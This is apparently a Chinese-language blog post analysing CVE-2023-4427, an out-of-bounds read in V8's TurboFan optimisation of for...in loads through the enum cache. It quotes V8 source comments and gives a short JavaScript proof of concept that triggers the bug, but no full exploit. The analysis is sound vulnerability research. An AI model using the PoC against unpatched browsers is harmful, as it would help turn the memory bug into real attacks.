CVE-2023-4427分析与复现

CVE-2023-4427 poc分析

Build

CVE详情页

V8的OOB漏洞,issue页面有非常详细的poc和原理解释,后面根据这个poc进行调试。
查看第一条commit,parent hash为610c1976fe17b5bfb12eefe1e6dc7c3a5bd5141a
复现环境为windows 11。

Details

map中关于属性的信息存储在DescriptorArray中,这一Array将会被多个具有相同结构的Object共享,其中存在enum cache,用于对fast object的for...in遍历进行优化,当访问对象不变时,将会直接使用enum cache加速对Array的遍历。它一开始不会产生,只有在实际调用时,才会初始化或修改enum cache,调用过程如下图。

Turbofan优化时,如果函数中对属性的值进行读取,会调用ReduceJSLoadPropertyWithEnumeratedKey函数进行优化,顾名思义,优化的方式就是每次不再使用JSLoadProperty的方式通过名称来读取一个property的值,而是直接使用enum cache中的索引值进行读取。函数中使用很长的注释进行了描述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
Node* node) {
// We can optimize a property load if it's being used inside a for..in:
// for (name in receiver) {
// value = receiver[name];
// ...
// }
//
// If the for..in is in fast-mode, we know that the {receiver} has {name}
// as own property, otherwise the enumeration wouldn't include it. The graph
// constructed by the BytecodeGraphBuilder in this case looks like this:

// receiver
// ^ ^
// | |
// | +-+
// | |
// | JSToObject
// | ^
// | |
// | |
// | JSForInNext
// | ^
// | |
// +----+ |
// | |
// | |
// JSLoadProperty

// If the for..in has only seen maps with enum cache consisting of keys
// and indices so far, we can turn the {JSLoadProperty} into a map check
// on the {receiver} and then just load the field value dynamically via
// the {LoadFieldByIndex} operator. The map check is only necessary when
// TurboFan cannot prove that there is no observable side effect between
// the {JSForInNext} and the {JSLoadProperty} node.
//
// Also note that it's safe to look through the {JSToObject}, since the
// [[Get]] operation does an implicit ToObject anyway, and these operations
// are not observable.

这就存在一个问题,如果enum cache在函数循环的过程中被更新了,并且元素个数小于应有的元素个数,就会产生越界读。

poc

直接对issue中给出的poc稍作修改进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { }

function trigger(callback) {
for (let key in object2) {
callback();
print(object2[key]);
}
}
% PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);
trigger(_ => {object3.c = 1.1;for (let key in object1) { }});

运行过程中Turbofan对trigger这一函数进行了优化,但是在最后一次调用中,callback函数进行了一些有side effect的操作,首先c属性的值变成了浮点数类型,这就导致map中的DescriptorArray需要重新生成,但是并不需要重新生成map,所以这一过程能够通过checkmap检查。此时新的DA中enum cache为null,因为没有进行过任何let...in的遍历操作,但是紧接着对object1进行遍历的过程中,enum cache被初始化为了一个长度为1的数组,但是object2的长度是从map中获取的,始终是2,所以在读取的时候,或在enum cache的indices中越界访问到后面的内容。

End

这次没有写exp,只是快速地对poc进行了分析,因为利用起来需要十分复杂的堆排布,感觉想要实现完整exp比较困难,并且也没有发现ITW的利用。

在强网杯的决赛又见到了这个CVE,还是写了exp,方法看起来有些ugly,通过spray硬编码的地址来实现越界访问,不太稳定。

Reference

https://cwresearchlab.co.kr/entry/CVE-2023-4427-PoC-Out-of-bounds-memory-access-in-V8

V8漏洞CVE-2018-17463分析与复现 hack.lu-wp

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×